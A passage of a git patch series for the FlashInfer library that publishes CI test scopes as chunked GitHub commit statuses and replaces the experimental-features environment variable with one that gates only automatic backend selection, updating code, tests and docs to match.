}}/commits/${HEAD_SHA}/statuses" \ + --paginate --jq '[.[].context + | select(test("^ci/test-scope-[0-9]+$")) + | sub("^ci/test-scope-"; "") | tonumber] | max // 0') + + publish_chunk() { + gh api -X POST "/repos/${{ github.repository }}/statuses/${HEAD_SHA}" \ + -f state=success \ + -f context="ci/test-scope-$1" \ + -f description="$2" \ + -f target_url="${{ github.event.comment.html_url }}" > /dev/null + } + + for i in "${!CHUNKS[@]}"; do + publish_chunk "$((i + 1))" "${CHUNKS[$i]}" + done + for ((i = ${#CHUNKS[@]} + 1; i <= PREV_MAX; i++)); do + publish_chunk "$i" "" + done + + if [ ${#CHUNKS[@]} -eq 0 ]; then + echo "Published empty test scope (full suite)" + else + echo "Published test scope in ${#CHUNKS[@]} chunk(s): ${CHUNKS[*]}" + fi echo "Adding run-ci label to PR #${{ github.event.issue.number }}" diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index f0c40ad95b9..c69b92fdbcf 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -169,8 +169,17 @@ jobs: GH_TOKEN: ${{ github.token }} HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | + # Newest status per ci/test-scope-N context, ordered by N, joined. Statuses + # come back newest-first, so `first` per context is the latest value; a blanked + # chunk contributes nothing. SCOPE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}/statuses" \ - --jq 'map(select(.context == "ci/test-scope")) | first | .description // ""') + --paginate --jq ' + [ .[] + | select(.context | test("^ci/test-scope-[0-9]+$")) + | {n: (.context | sub("^ci/test-scope-"; "") | tonumber), + d: .description} ] + | group_by(.n) | map(first) | sort_by(.n) + | map(.d // "") | map(select(. != "")) | join(" ")') if [ -z "$SCOPE" ]; then echo "No requested scope for ${HEAD_SHA}; running the full suite" else diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index b315b15035d..2ec792fa19b 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -148,7 +148,7 @@ There is no arch selection, and none is needed: tests carry their own arch guard **CI runs what it is told, and does not read the declaration.** Turning a declared block into paths happens once, in whoever issues the trigger — a reviewer, or the screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow: a reviewer who wants to run something else just says so, and the declaration stays the default rather than becoming a constraint. -Because a `run-ci` label carries no payload, `ci-bot-commands.yml` — the one place that already parses this comment — publishes the requested paths as a `ci/test-scope` commit status on the head SHA, and `pr-test.yml` reads that value verbatim. Nothing downstream re-reads comments, and keying on the SHA makes staleness structural: a new push is a new SHA with no scope status, so an old scope cannot be resurrected by re-labelling. +Because a `run-ci` label carries no payload, `ci-bot-commands.yml` — the one place that already parses this comment — publishes the requested paths as `ci/test-scope-N` commit statuses on the head SHA, and `pr-test.yml` reassembles them. A status description caps at 140 characters — only two or three real test paths (median 41, p90 60) — so the scope is chunked on target boundaries and rebuilt in index order. Indices start at 1 even for a single chunk, so there is one code path rather than a special case; when a scope shrinks, leftover chunks are blanked, since statuses cannot be deleted and would otherwise leave stale trailing paths. Nothing downstream re-reads comments, and keying on the SHA makes staleness structural: a new push is a new SHA with no scope status, so an old scope cannot be resurrected by re-labelling. The convention is deliberately the same on both systems — `@flashinfer-bot run ` and `/bot run TEST_PATH` — with the status being an implementation detail of the GitHub side. That symmetry also means automation gets no privileged channel: a watcher triggering a screened PR types exactly what a reviewer would, so there is one path to test and no way for the two to drift. diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index 6cb046679a4..f7f7c8b5f7e 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -112,6 +112,34 @@ def validate(targets: list[str], root: str = ROOT) -> list[str]: return targets +def chunk(targets: list[str], limit: int) -> list[str]: + """Split targets into space-joined chunks of at most ``limit`` characters. + + A GitHub commit status description caps at 140 characters, which fits only two + or three real test paths (median 41, p90 60), so a scope is published across + several statuses. Splitting happens on target boundaries -- never mid-path, + which would produce a chunk that looks like a valid path and is not. + """ + too_long = [x for x in targets if len(x) > limit] + if too_long: + raise ValueError( + f"target longer than the {limit}-character chunk limit and so cannot be " + f"split: {', '.join(too_long)}" + ) + chunks: list[str] = [] + current = "" + for target in targets: + candidate = f"{current} {target}" if current else target + if len(candidate) > limit: + chunks.append(current) + current = target + else: + current = candidate + if current: + chunks.append(current) + return chunks + + def check_exists(targets: list[str], repo_root: str) -> None: """Verify each declared target exists. Raises ValueError listing what is missing. @@ -201,6 +229,25 @@ def _selftest() -> int: except ValueError: pass + # Chunking: split on target boundaries, never mid-path, and round-trip exactly. + long_targets = [f"tests/experimental/test_{c}_{'x' * 40}.py" for c in "abcde"] + cs = chunk(long_targets, 140) + if any(len(c) > 140 for c in cs): + print(f"FAIL: chunk exceeded 140: {[len(c) for c in cs]}", file=sys.stderr) + failures += 1 + if " ".join(cs).split() != long_targets: + print("FAIL: chunking did not round-trip", file=sys.stderr) + failures += 1 + if chunk(["tests/experimental/a.py"], 140) != ["tests/experimental/a.py"]: + print("FAIL: single target should be one chunk", file=sys.stderr) + failures += 1 + try: + chunk(["tests/experimental/" + "z" * 200 + ".py"], 140) + print("FAIL: oversized single target accepted", file=sys.stderr) + failures += 1 + except ValueError: + pass + for body, want in ok: try: got = parse(body) @@ -251,6 +298,13 @@ def main() -> int: action="store_true", help="skip the existence check (parsing/validation only)", ) + ap.add_argument( + "--chunk", + type=int, + metavar="N", + help="print space-joined chunks of at most N chars, one per line " + "(N=140 matches a GitHub commit status description)", + ) ap.add_argument("--selftest", action="store_true") args = ap.parse_args() @@ -277,7 +331,10 @@ def main() -> int: except ValueError as e: print(f"experimental test scope: {e}", file=sys.stderr) return 1 - print(" ".join(targets) if args.test_path else "\n".join(targets)) + if args.chunk: + print("\n".join(chunk(targets, args.chunk))) + else: + print(" ".join(targets) if args.test_path else "\n".join(targets)) return 0 From 18e79be695343dba8feb09b0a40709061b1f8fc6 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:57:36 -0600 Subject: [PATCH 16/41] refactor(ci): read the combined status endpoint, not the raw list Statuses have no DELETE, but re-posting a context supersedes it -- so the leftover-chunk handling is an update to empty rather than a deletion, and the comments now say so. More usefully, that means the combined endpoint (/commits/{sha}/status) already returns one entry per context resolved to the latest, which the raw list (/statuses) does not: a commit with three CodeRabbit posts shows three entries there and one here. Both sides now use it. Reassembly drops its group_by/first deduplication, and -- more to the point -- stops depending on the raw list returning newest-first, which I had confirmed empirically but which is not a documented guarantee. Relying on it would have been a silent misassembly if it ever changed. Re-verified across seven cases including a null description: ordered and unordered chunks, foreign contexts, shrunk scope, cleared scope, absent scope, and numeric ordering past nine chunks. AI-assisted (Claude Code). --- .github/workflows/ci-bot-commands.yml | 9 ++++---- .github/workflows/pr-test.yml | 21 +++++++++---------- .../experimental_apis_and_backends.md | 2 +- 3 files changed, 16 insertions(+), 16 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index cd4b94e99bd..7b2c40d800b 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -157,10 +157,11 @@ jobs: --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) fi - # Statuses cannot be deleted, so a scope that shrank must have its leftover - # chunks blanked; otherwise pr-test would reassemble stale trailing paths. - PREV_MAX=$(gh api "/repos/${{ github.repository }}/commits/${HEAD_SHA}/statuses" \ - --paginate --jq '[.[].context + # There is no DELETE for statuses, but re-posting a context supersedes it, so + # a scope that shrank has its leftover chunks updated to empty; otherwise + # pr-test would reassemble stale trailing paths. + PREV_MAX=$(gh api "/repos/${{ github.repository }}/commits/${HEAD_SHA}/status" \ + --jq '[.statuses[].context | select(test("^ci/test-scope-[0-9]+$")) | sub("^ci/test-scope-"; "") | tonumber] | max // 0') diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index c69b92fdbcf..9d56477528a 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -169,17 +169,16 @@ jobs: GH_TOKEN: ${{ github.token }} HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | - # Newest status per ci/test-scope-N context, ordered by N, joined. Statuses - # come back newest-first, so `first` per context is the latest value; a blanked - # chunk contributes nothing. - SCOPE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}/statuses" \ - --paginate --jq ' - [ .[] - | select(.context | test("^ci/test-scope-[0-9]+$")) - | {n: (.context | sub("^ci/test-scope-"; "") | tonumber), - d: .description} ] - | group_by(.n) | map(first) | sort_by(.n) - | map(.d // "") | map(select(. != "")) | join(" ")') + # The combined endpoint (/status, not /statuses) returns one entry per + # context, already the latest. Using it means re-triggering overwrites + # cleanly without this step deduplicating by hand, and without depending on + # the raw list's ordering, which is not a documented guarantee. + SCOPE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}/status" --jq ' + .statuses + | map(select(.context | test("^ci/test-scope-[0-9]+$"))) + | map({n: (.context | sub("^ci/test-scope-"; "") | tonumber), + d: (.description // "")}) + | sort_by(.n) | map(.d) | map(select(. != "")) | join(" ")') if [ -z "$SCOPE" ]; then echo "No requested scope for ${HEAD_SHA}; running the full suite" else diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index 2ec792fa19b..aebddbc353c 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -148,7 +148,7 @@ There is no arch selection, and none is needed: tests carry their own arch guard **CI runs what it is told, and does not read the declaration.** Turning a declared block into paths happens once, in whoever issues the trigger — a reviewer, or the screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow: a reviewer who wants to run something else just says so, and the declaration stays the default rather than becoming a constraint. -Because a `run-ci` label carries no payload, `ci-bot-commands.yml` — the one place that already parses this comment — publishes the requested paths as `ci/test-scope-N` commit statuses on the head SHA, and `pr-test.yml` reassembles them. A status description caps at 140 characters — only two or three real test paths (median 41, p90 60) — so the scope is chunked on target boundaries and rebuilt in index order. Indices start at 1 even for a single chunk, so there is one code path rather than a special case; when a scope shrinks, leftover chunks are blanked, since statuses cannot be deleted and would otherwise leave stale trailing paths. Nothing downstream re-reads comments, and keying on the SHA makes staleness structural: a new push is a new SHA with no scope status, so an old scope cannot be resurrected by re-labelling. +Because a `run-ci` label carries no payload, `ci-bot-commands.yml` — the one place that already parses this comment — publishes the requested paths as `ci/test-scope-N` commit statuses on the head SHA, and `pr-test.yml` reassembles them. A status description caps at 140 characters — only two or three real test paths (median 41, p90 60) — so the scope is chunked on target boundaries and rebuilt in index order. Indices start at 1 even for a single chunk, so there is one code path rather than a special case; when a scope shrinks, leftover chunks are updated to empty — there is no DELETE for statuses, but re-posting a context supersedes it — since they would otherwise leave stale trailing paths. Both sides read the *combined* status endpoint, which returns one entry per context already resolved to the latest, so nothing depends on the raw list's ordering. Nothing downstream re-reads comments, and keying on the SHA makes staleness structural: a new push is a new SHA with no scope status, so an old scope cannot be resurrected by re-labelling. The convention is deliberately the same on both systems — `@flashinfer-bot run ` and `/bot run TEST_PATH` — with the status being an implementation detail of the GitHub side. That symmetry also means automation gets no privileged channel: a watcher triggering a screened PR types exactly what a reviewer would, so there is one path to test and no way for the two to drift. From 0da390894d6ef785f19423963ed16652b3f917c5 Mon Sep 17 00:00:00 2001 From: Brian Ryu Date: Thu, 3 Sep 2026 11:01:09 -0700 Subject: [PATCH 17/41] Update environment variable --- CLAUDE.md | 14 +- CONTRIBUTING.md | 16 +- .../experimental_apis_and_backends.md | 17 +- docs/experimental.rst | 35 +-- flashinfer/api_logging.py | 113 ++++++---- flashinfer/experimental/CLAUDE.md | 83 +++++-- flashinfer/experimental/README.md | 147 +++++++++--- flashinfer/experimental/__init__.py | 22 +- flashinfer/utils.py | 104 ++++++++- tests/experimental/test_experimental_api.py | 213 ++++++++++++++---- tests/utils/test_decorators.py | 36 +++ 11 files changed, 615 insertions(+), 185 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index b19726fd953..4180d581cef 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -33,7 +33,7 @@ FlashInfer is a GPU kernel library for LLM serving that uses **JIT (Just-In-Time | Enable GDN native short-T path | `export FLASHINFER_GDN_WY_NATIVE_T=1` | | Enable GDN strided QKV path | `export FLASHINFER_GDN_WY_STRIDED_QKV=1` | | Enable GDN native A/B tensors | `export FLASHINFER_GDN_WY_NATIVE_AB=1` | -| Enable experimental APIs/backends | `export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` | +| Let `backend="auto"` pick experimental backends | `export FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1` | | Override CuTe-DSL prefill scheduling | `export FLASHINFER_CUTE_PREFILL_PERSISTENT=0` (non-persistent) or `1` (persistent) | | Skip MoE EP CuTe-DSL import/version guard | `export FLASHINFER_MOE_EP_SKIP_DSL_CHECK=1` | | Override MoE EP knob-cache path | `export FLASHINFER_MOE_EP_KNOB_CACHE=/path/to/knobs.json` | @@ -403,9 +403,13 @@ Every public API decorated with `@flashinfer_api` should also carry a `trace=` a Experimental backends live under `flashinfer/experimental/`; experimental public APIs live in core marked with `@flashinfer_experimental_api` (defined in -`flashinfer/api_logging.py`). All experimental behavior is gated behind -`FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`, is JIT-only (never registered in -`flashinfer/aot.py`), and is tested under `tests/experimental/`. +`flashinfer/api_logging.py`). Using them is an explicit opt-in: calling an +experimental API, or naming an experimental backend with `backend=""`, +needs no environment variable (both warn once). Only automatic selection is +gated: `backend="auto"` skips backends marked `@experimental_backend` unless +`FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1`. Experimental code is JIT-only +(never registered in `flashinfer/aot.py`) and tested under +`tests/experimental/`. → **When working under `flashinfer/experimental/`, follow [`flashinfer/experimental/CLAUDE.md`](flashinfer/experimental/CLAUDE.md); the @@ -592,7 +596,7 @@ Used by `flashinfer.trace` / `fi_trace`. | Variable | Default | Read in | Effect | |----------|---------|---------|--------| -| `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES` | unset | `flashinfer/api_logging.py` | `1` permits experimental APIs and backends (see the "Experimental Code" section). The flag is the single opt-in: with it set, stable APIs may route to experimental backends automatically (dispatch, autotuning, trace-apply). Without it, experimental APIs raise `RuntimeError` and automatic routing considers only stable backends. | +| `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS` | unset | `flashinfer/utils.py` (`backend_requirement`), `flashinfer/api_logging.py` | `1` lets `backend="auto"` (dispatch heuristics and autotuning) select backends marked `@experimental_backend` (see the "Experimental Code" section). Explicit use never needs it: calling an `@flashinfer_experimental_api` function or passing `backend=""` always works and emits an `ExperimentalWarning` once. Without it, automatic selection considers only stable backends. | | `FLASHINFER_VALIDATE_INPUTS` | `0` | `flashinfer/mla/_core.py` (MLA wrapper) | Non-zero / non-empty value enables defensive input validation inside the MLA wrapper. Device-synchronizing checks are skipped during CUDA Graph capture. Adds host-side overhead; intended for debugging. | | `FLASHINFER_AUTOTUNER_LOAD_FROM_FILE` | `0` | `flashinfer/autotuner/autotuner.py` | `1` loads previously serialized autotune results from disk instead of re-running the search. | | `FLASHINFER_DIST_AWARE_AUTOTUNE` | `0` | `flashinfer/fused_moe/da_config.py` | `1` enables experimental distribution-aware autotune and kernel dispatch (TRT-LLM MoE only). | diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index e93c80ea85c..9e1ead8359c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -63,13 +63,15 @@ are enabled, and an experimental API must be clearly identified and gated. heuristics, routing, compilation, caching, kernels) live under `flashinfer/experimental/`. -**Gating:** all experimental behavior requires -`FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`. The variable *permits* -experimental functionality everywhere: with it set, stable APIs may route to -experimental backends automatically — dispatch, autotuning, and trace-apply -may consider experimental backends alongside stable ones. Without it, -experimental APIs raise `RuntimeError` and automatic routing considers only -stable backends. +**Opt-in:** using experimental functionality is always explicit. Calling an +`@flashinfer_experimental_api` function, or naming an experimental backend +(`backend=""`) in a stable API, needs no environment variable; both warn +once. Only *automatic* selection is gated: `backend="auto"` (dispatch +heuristics and autotuning) may pick an experimental backend only with +`FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1`. Experimental backends are marked +with `@experimental_backend` on their `@backend_requirement` checker, which +enforces this; hand-rolled `"auto"` routing calls +`require_experimental_auto_backends(...)`. **Requirements for every experimental feature:** diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index aebddbc353c..ffd6fb1cadf 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -51,15 +51,20 @@ This design preserves a unified API surface while strongly isolating fast-moving ### **Feature gating** -All experimental backend paths require: `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` +Opting in to experimental functionality is explicit and needs no environment variable: -**Without** this opt-in: +* calling an API marked `@flashinfer_experimental_api`; or +* naming an experimental backend in a stable API (`backend=""`). -* experimental APIs must be gated off; -* stable APIs must not select experimental backends; -* automatic routing must consider only stable backends. +Both emit an `ExperimentalWarning` once. What is gated is **automatic selection**: `backend="auto"` — the dispatch heuristics and autotuning behind it — may pick an experimental backend only with -**With** this opt-in, stable APIs may route to experimental backends automatically: backend dispatch, autotuning, and trace-apply substitution may consider experimental backends alongside stable ones. Setting the flag is consent to experimental behavior wherever it applies; an explicit `backend=` argument remains available to force a specific backend but is not required. +`FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1` + +**Without** this opt-in, automatic selection considers only stable backends; a stable API never routes to an experimental backend on its own. + +**With** it, experimental backends join the automatic candidate list alongside stable ones, for dispatch and autotuning. Trace-apply is outside this gate: experimental backends are not required to support trace, and a trace-apply solution is the deployer's explicit choice. + +Mechanically, an experimental backend's `@backend_requirement` checker is marked `@experimental_backend`. The decorator filters marked backends out of `backend="auto"` unless the variable is set, warns once per API/backend pair when one is selected, and rejects at import time a checker defined under `flashinfer.experimental` that lacks the marker. Stable APIs that route `"auto"` by hand call `require_experimental_auto_backends(...)` on the automatic branch. See `flashinfer/experimental/README.md` for a worked example. ## Common Rules for Experimental APIs and Backends diff --git a/docs/experimental.rst b/docs/experimental.rst index 91bbb2201f2..bdc7e0fe514 100644 --- a/docs/experimental.rst +++ b/docs/experimental.rst @@ -12,26 +12,33 @@ for specific problem sizes: - an **experimental backend** is an implementation that is not yet ready for stable support. -A stable API may route to an experimental backend once experimental features -are enabled, and experimental APIs are marked with an experimental warning in -their documentation. +Experimental APIs are marked with a warning banner in their documentation. A +stable API exposes an experimental backend by name; it routes to one +automatically only when the user opts in (below). -Enabling experimental features ------------------------------- +Opting in to experimental features +---------------------------------- -All experimental behavior requires an explicit opt-in: +Using experimental functionality is always an explicit opt-in. Two forms need +no environment variable: + +- calling an API marked experimental (``@flashinfer_experimental_api``); +- passing an experimental backend by name to a stable API, e.g. + ``backend="sm12x_cute"``. + +Both emit an ``ExperimentalWarning`` once (per API, or per API/backend pair). + +Automatic selection is gated. With ``backend="auto"`` — including the dispatch +heuristics and autotuning behind it — a stable API considers only stable +backends unless you set: .. code-block:: bash - export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 + export FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1 -Without this variable, experimental APIs raise ``RuntimeError`` and stable -APIs never route to experimental backends. The variable is the single -opt-in: with it set, stable APIs may route to experimental backends -automatically (dispatch, autotuning, trace-apply), and an explicit -``backend=`` argument remains available to force a specific backend. The -first use of an experimental API in a process emits an -``ExperimentalWarning``. +With the variable set, experimental backends join the automatic candidate +list. Without it, a call whose only viable backends are experimental fails +with an error that names the variable and suggests an explicit ``backend=``. User contract ------------- diff --git a/flashinfer/api_logging.py b/flashinfer/api_logging.py index be25380f992..89a2864856c 100644 --- a/flashinfer/api_logging.py +++ b/flashinfer/api_logging.py @@ -2554,66 +2554,99 @@ def wrapper(*args, **kwargs): # # See flashinfer/experimental/README.md for the full policy governing # experimental APIs and backends. +# +# Opting in is explicit and needs no environment variable: calling a function +# marked @flashinfer_experimental_api, or naming an experimental backend +# (backend="") in a stable API. The environment variable below gates +# only *automatic* selection -- backend="auto" (heuristics and autotuning) may +# pick an experimental backend only when it is set. # --------------------------------------------------------------------------- -_EXPERIMENTAL_ENV_VAR = "FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES" +_EXPERIMENTAL_AUTO_ENV_VAR = "FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS" + +# (api_name, backend) pairs that have already emitted an ExperimentalWarning. +_WARNED_EXPERIMENTAL_BACKENDS: set = set() class ExperimentalWarning(UserWarning): - """Warning emitted the first time a FlashInfer experimental API is called. + """Warning emitted on first use of experimental FlashInfer functionality. - Experimental APIs and backends provide no compatibility or long-term - support guarantees and may change or be removed without deprecation. + Emitted once per experimental API (``@flashinfer_experimental_api``) and + once per (stable API, experimental backend) pair. Experimental APIs and + backends provide no compatibility or long-term support guarantees and may + change or be removed without deprecation. """ -def is_experimental_enabled() -> bool: - """Return whether experimental features are permitted in this process. - - Experimental features are permitted when the environment variable - ``FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES`` is set to ``1``. +def experimental_auto_backends_allowed() -> bool: + """Return whether ``backend="auto"`` may select experimental backends. - Setting the flag is the single opt-in for experimental functionality: - with it set, stable APIs may route to experimental backends - automatically (dispatch, autotuning, trace-apply). When unset, - automatic routing must consider only stable backends. + True when ``FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1``. This is the + only thing the variable controls: explicitly calling an experimental API, + or explicitly naming an experimental backend, never requires it. The environment variable is read on every call so the gate can be toggled at runtime (e.g. in tests). The check is a single dict lookup and is not a hot-path concern. """ - return os.environ.get(_EXPERIMENTAL_ENV_VAR, "0") == "1" + return os.environ.get(_EXPERIMENTAL_AUTO_ENV_VAR, "0") == "1" -def _experimental_disabled_message(feature: str) -> str: +def _experimental_auto_backends_message(feature: str) -> str: return ( - f"'{feature}' is experimental FlashInfer functionality and is disabled " - f"by default. Set {_EXPERIMENTAL_ENV_VAR}=1 to enable it. Experimental " - f"features provide no compatibility guarantees and may change or be " - f"removed without deprecation." + f"automatic backend selection for '{feature}' considers only stable " + f'backends. Set {_EXPERIMENTAL_AUTO_ENV_VAR}=1 to let backend="auto" ' + f"(dispatch and autotuning) include experimental backends, or select the " + f"experimental backend explicitly with backend=. Experimental backends " + f"provide no compatibility guarantees and may change or be removed " + f"without deprecation." ) -def require_experimental(feature: str) -> None: - """Raise ``RuntimeError`` unless experimental features are enabled. +def require_experimental_auto_backends(feature: str) -> None: + """Raise ``RuntimeError`` unless automatic selection may use experimental backends. - Use this in the thin core entry point of a *stable* API that routes to an - *experimental* backend — via explicit ``backend=`` selection or automatic - routing — before handing off to code under ``flashinfer.experimental``: + For stable APIs that route ``backend="auto"`` by hand (without + ``@backend_requirement``, which applies this gate itself): call this in the + automatic-routing branch before handing off to an experimental backend. + Do **not** call it on the explicit ``backend=""`` branch -- + explicit selection is already the user's opt-in. - >>> if backend == "experimental_xyz": - ... require_experimental("mm_xyz experimental backend") + >>> if backend == "auto" and candidate == "experimental_xyz": + ... require_experimental_auto_backends("mm_xyz -> experimental_xyz") ... from flashinfer.experimental import xyz # deferred import ... return xyz.run(...) Parameters ---------- feature : str - Human-readable name of the experimental feature, used in the error - message. + Human-readable description used in the error message. """ - if not is_experimental_enabled(): - raise RuntimeError(_experimental_disabled_message(feature)) + if not experimental_auto_backends_allowed(): + raise RuntimeError(_experimental_auto_backends_message(feature)) + + +def warn_experimental_backend_once( + api_name: str, backend: str, *, automatic: bool = False +) -> None: + """Emit :class:`ExperimentalWarning` once per ``(api_name, backend)`` pair. + + Used by ``@backend_requirement`` when a stable API selects a backend marked + with ``@experimental_backend``, whether explicitly (``automatic=False``) or + through ``backend="auto"`` with the opt-in set (``automatic=True``). + """ + key = (api_name, backend) + if key in _WARNED_EXPERIMENTAL_BACKENDS: + return + _WARNED_EXPERIMENTAL_BACKENDS.add(key) + how = "may be selected automatically for" if automatic else "selected for" + warnings.warn( + f"experimental backend '{backend}' {how} '{api_name}': it provides no " + f"compatibility guarantees and may change or be removed without " + f"deprecation.", + ExperimentalWarning, + stacklevel=3, + ) def flashinfer_experimental_api( @@ -2627,14 +2660,18 @@ def flashinfer_experimental_api( Composes with :func:`flashinfer_api` (the wrapped function keeps API logging, tensor dumping, and ``fi_trace`` support) and additionally: - - raises ``RuntimeError`` when called without - ``FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1`` in the environment; - - emits an :class:`ExperimentalWarning` once per process on first use; + - emits an :class:`ExperimentalWarning` once per decorated function, on + first use; - sets ``is_experimental = True`` on the returned function so tooling can mechanically identify experimental APIs; - prepends an experimental-status warning to the docstring (picked up by Sphinx). + Calling an experimental API is itself the opt-in; no environment variable + is required. ``FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS`` only affects + ``backend="auto"`` selection inside stable APIs (see + ``flashinfer.utils.experimental_backend``). + Experimental APIs live in core (not under ``flashinfer.experimental``) but must keep backend-specific logic under ``flashinfer.experimental``; see ``flashinfer/experimental/README.md`` for the placement rules. @@ -2644,7 +2681,7 @@ def flashinfer_experimental_api( trace : Optional[TraceTemplate] Forwarded to :func:`flashinfer_api`. Optional for experimental APIs. feature : Optional[str] - Human-readable feature name used in the gate error and warning. + Human-readable feature name used in the warning and docstring banner. Defaults to the function's qualified name. Examples @@ -2665,8 +2702,6 @@ def decorator(f: Callable) -> Callable: @functools.wraps(logged) def wrapper(*args, **kwargs): nonlocal warned - if not is_experimental_enabled(): - raise RuntimeError(_experimental_disabled_message(feature_name)) if not warned: warned = True warn_msg = ( @@ -2681,9 +2716,9 @@ def wrapper(*args, **kwargs): wrapper.experimental_feature = feature_name # type: ignore[attr-defined] banner = ( ".. warning::\n" - f" ``{feature_name}`` is experimental. It requires " - f"``{_EXPERIMENTAL_ENV_VAR}=1``, provides no compatibility " - f"guarantees, and may change or be removed without deprecation." + f" ``{feature_name}`` is experimental: it provides no " + f"compatibility guarantees and may change or be removed without " + f"deprecation." ) wrapper.__doc__ = ( banner if logged.__doc__ is None else banner + "\n\n" + logged.__doc__ diff --git a/flashinfer/experimental/CLAUDE.md b/flashinfer/experimental/CLAUDE.md index fcb2f36d636..385de268f49 100644 --- a/flashinfer/experimental/CLAUDE.md +++ b/flashinfer/experimental/CLAUDE.md @@ -11,23 +11,29 @@ Experimental **backends** and backend-specific logic: support checks, heuristics, routing, compilation, caching, and kernels not yet ready for stable support. Public experimental **APIs** do NOT live here — they live in core, marked with `@flashinfer_experimental_api`, with only a thin entry -point that validates, checks the feature gate, and hands off to this package. +point that validates, selects the backend, and hands off to this package. ## Hard rules (containment) -- **Never** import `flashinfer.experimental` from core at module level. A - sanctioned thin entry point in core may do a deferred (function-local) - import after calling `require_experimental(...)`. +- **Never** import `flashinfer.experimental` from core at module level, with + one exception: the lightweight support module that defines an + `@experimental_backend` checker (dtype/shape/CC logic only, no kernel or + JIT imports). Kernels are reached via a deferred (function-local) import in + a sanctioned thin entry point. - **Never** register experimental modules in `flashinfer/aot.py` — experimental features are JIT-only and must not ship in pre-built packages. -- **Never** let a stable API route here while the gate is off. Setting - `FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1` permits experimental behavior, - including automatic routing from stable APIs to experimental backends - (dispatch, autotuning, trace-apply); without it, routing must consider - only stable backends. +- **Never** let `backend="auto"` (dispatch or autotuning) pick an + experimental backend unless `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1`. + `@backend_requirement` enforces this for checkers marked + `@experimental_backend`; hand-rolled `"auto"` routing must call + `require_experimental_auto_backends(...)` on its automatic branch. +- Explicit opt-ins need **no** environment variable: calling an + `@flashinfer_experimental_api` function, or passing `backend=""` to a + stable API. Both warn once (`ExperimentalWarning`). - **Never** eagerly import this package from `flashinfer/__init__.py`. -- Autotuner tactic enumeration and trace_apply substitution must not pick - experimental paths without the gate. +- Autotuning inherits the gate because it tunes over the filtered candidate + list. Trace-apply is out of scope: experimental backends need not support + trace. ## Adding an experimental API (new public function) @@ -45,23 +51,58 @@ point that validates, checks the feature gate, and hands off to this package. return run(x, ...) ``` -3. The decorator enforces the gate (RuntimeError when off), warns once per - process (`ExperimentalWarning`), and sets `is_experimental = True`. +3. Calling the API is the opt-in. The decorator warns once per process + (`ExperimentalWarning`) and sets `is_experimental = True`; it does not + consult any environment variable. ## Exposing an experimental backend from a stable API -In the stable API's dispatch — behind an explicit `backend=` value or an -automatic-routing branch — guard the handoff with `require_experimental`: +Mark the backend's support checker in the experimental package and register +it in the stable API's `@backend_requirement`; `backend="auto"` then skips it +unless `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1`, while an explicit +`backend="sm12x_cute"` always works (and warns once): ```python -from .api_logging import require_experimental +# flashinfer/experimental/sm12x_gemm/support.py (lightweight: no kernel imports) +from flashinfer.utils import supported_compute_capability +from flashinfer.experimental import experimental_backend + +@experimental_backend +@supported_compute_capability([120, 121]) +def check_sm12x_cute(a, b, out=None, backend="auto"): + return a.dtype == torch.bfloat16 and a.shape[-1] % 64 == 0 +``` + +```python +# flashinfer/gemm/gemm_base.py +from ..experimental.sm12x_gemm.support import check_sm12x_cute # checker only + 